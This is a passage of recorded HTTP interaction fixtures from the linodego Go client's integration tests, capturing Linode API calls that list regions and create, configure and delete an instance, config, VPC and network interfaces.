"jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-6f8d52ehjc46","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253752, "label": "go-test-ins-wo-disk-6f8d52ehjc46", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.202.104"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "82627d6efdfe4053b931690ee476e7b64f186697", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-em29479mh3vc","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253752/configs method: POST response: body: '{"id": 57334206, "label": "go-test-conf-em29479mh3vc", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1705956541410496000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1705956541410522000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 19443, "label": "go-test-vpc-1705956541410496000", "description": "", "region": "us-iad", "subnets": [{"id": 20510, "label": "linodego-vpc-test-1705956541410522000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-em29479mh3vc","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":20510,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253752/configs/57334206 method: PUT response: body: '{"id": 57334206, "label": "go-test-conf-em29479mh3vc", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 976031, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976032, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976033, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19443, "subnet_id": 20510, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.104"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ids":[976032,976031,976033]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253752/configs/57334206/interfaces/order method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253752/configs/57334206 method: GET response: body: '{"id": 57334206, "label": "go-test-conf-em29479mh3vc", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 976032, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976031, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976033, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19443, "subnet_id": 20510, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "139.144.202.104"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253752 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/19443 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_Update.yaml000066400000000000000000001030431455402072200345600ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 